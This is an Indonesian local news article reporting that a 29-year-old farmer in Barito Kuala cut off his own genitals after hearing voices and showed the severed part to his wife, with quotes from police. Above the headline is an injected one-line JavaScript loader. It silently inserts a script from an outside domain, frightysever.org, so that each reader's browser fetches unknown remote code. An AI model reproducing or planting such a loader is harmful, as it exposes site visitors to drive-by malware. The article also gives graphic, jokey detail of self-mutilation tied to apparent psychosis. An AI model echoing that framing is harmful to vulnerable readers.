(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Kronologi Pria Potong ‘Burung’ Sendiri di Batola: Dimasukan Toples Dikasihkan ke Istri

KANALKALIMANTAN.COM, MARABAHAN – Ngeri dan nyeri mendengar seorang pria berumur 29 tahun memotong secara ‘sukarela’ alat vitalnya sendiri.

Tak bisa dibayangkan bagimana nyerinya saat KS, petani di Desa Karya Baru, Kecamatan Barambai, Kabupaten Barito Kuala (Batola) memangkas alat reproduksinya dengan pisau cutter.

Dari keterangan pihak kepolisian sektor Barambai, dari keterangan sejumlah saksi menyampaikan kronologi pemotongan alat kelamin itu. Bermula dari mendengar bisikan gaib, KS (29) tiba-tiba memotong kemaluannya hingga putus, Senin (24/5/2021), sekitar pukul 17.00 Wita.

Kapolres Batola, AKBP Lalu Mohammad Syahir Arif melalui Kapolsek Barambai Ipda Janner Sihite mengatakan, saat ‘potong burung’ itu, kondisi rumah di RT 07 sedang dalam kondisi kosong. Hanya KS yang sendirian, entah dari mana KS mendapatkan pisau cutter sebagai alat pemotong kemaluannya.

Belakangan, setelah ‘eksekusi’ burung sendiri, bagian alat vital reproduksinya yang sudah terpotong itu dimasukan ke dalam toples. Oleh KS sendiri, potongan itu diperlihatkannya kepada istrinya.

“Betul dia memotong kemaluannya sendiri, istrinya berinisial MW yang waktu itu baru sampai di rumah sepulangnya dari selamatan keluarga begitu terkejut ketika mendapati sang suami memperlihatkan kemaluannya sendiri,” beber Kapolsek Barambai.

Bagian yang sudah terpotong itu dimasukan KS ke dalam sebuah toples plastik transparan masih dengan lumuran darah.

“Lihatlah sayang ini burungku sudah ku potong,” kata Kapolsek Barambai Ipda Janner Sihite menirukan perkataan korban.
Ditambahkan Janner, korban KS sendiri diyakini tidak memiliki riwayat sakit jiwa dan dalam kondisi normal.

Kepada saksi yang dihimpun oleh polisi, KS mengaku melakukan pemotongan alat vital itu lantaran mendengar bisikan gaib. KS mengaku sudah bermimpi dua kali untuk melakukan pemotongan burungnya sendiri.

“Sebelumnya kita kira korban ini ada gangguan jiwa atau ada masalah keharmonisan, namun ternyata rumah tangganya bagus-bagus saja dan tidak ada masalah,” jelasnya.

Setelah potong burung itu, KS yang masih sadar dan dengan kondisi alat kelaminnya terpotong, langsung dilarikan keluarga ke RSUD Abdul Aziz Marabahan guna mendapat perawatan lebih lanjut.

“Guna kepentingan lebih lanjut sekarang kasus ini sendiri terus didalami oleh sat Reskrim Polres Barito Kuala,” tutup Ipda Janner. (kanalkalimantan.com/rdy)

Reporter : rdy
Editor : kk